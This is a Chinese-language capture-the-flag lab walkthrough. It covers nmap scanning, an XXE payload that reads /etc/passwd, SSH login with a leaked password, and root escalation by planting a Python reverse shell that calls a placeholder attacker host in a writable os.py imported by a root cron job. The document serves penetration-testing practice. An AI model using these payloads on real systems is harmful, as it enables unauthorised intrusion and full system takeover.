靶场来源:公众号:PTEHub,关注公众号:PTEHub 获取最新靶场资源
靶场类型:单局域网
信息收集
使用nmap进行扫描,获取到如下信息
通过扫描后发现开放了22和80端口,我们访问80端口查看web,发现是一个登录表单页面
抓包分析,发现请求体是xml标签,并且email标签处存在回显
测试XXE漏洞读取文件,发现存在XXE漏洞,查看 /etc/passwd 文件,查看到存在 root 和 david用户可以登录
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
尝试对 david 用户家目录下进行目录爆破得到5个响应长度不一样的文件,通过对文件的筛选,在 .viminfo 文件的下得到一个可疑路径
通过XXE漏洞查看路径下的文件,得到疑似 david 用户的登录密码
登录获取FLAG
尝试用获取的密码ssh登录 david 用户,登录成功后,查看 david 目录的下的 user.txt 文件得到 flag
提权获取FLAG
我们还没有权限访问 root,我们通过sudo -l ,find / -perm -4000 2>/dev/null 也未能找到有用信息
tips:
/dev/null 是一个特殊的设备文件,这个文件接受到任何数据都会被丢弃。因此,null这个设备通常也被称为位桶(bit bucket)或黑洞。
-perm匹配权限
4000 2000 1000分别表示SUID SGID SBIT
find / -perm -4000 2>/dev/null
就是寻找 4000权限的文件,不显示其他的错误信息相当于过滤
这时我们在kali下载一个pspy工具,(pspy在没有root权限的情况下可以监视linux进程)通过python3的http服务实现文件共享,将pspy工具上传到david用户下并运行
Release Improved troubleshooting · DominicBreuker/pspy · GitHub pspy下载链接
通过进程监视,我们发现在后台每分钟会执行一个定时任务,文件路径为/opt/suid.py 执行任务的用户为root用户,我们可以写入反弹shell脚本来获取root权限
查看suid.py文件后发现,该文件为root用户所属,我们没有写入权限,但是在运行时调用了os.py文件
whereis python3 查找一下运行python3的所有文件,在/usr/lib/python3.9目录下找到os.py文件
而os.py文件有写入权限
(whereis 即:定位/返回与指定名字匹配的二进制文件、源文件和帮助手册文件所在的路径)
这里我们在os.py文件里写入反弹shell,因为os.py文件是用python语言写的脚本,所以反弹shell也要用python语言
import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('vpsip',vpsport));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i']);
最后监听端口,得到 root 用户权限拿到FLAG!!!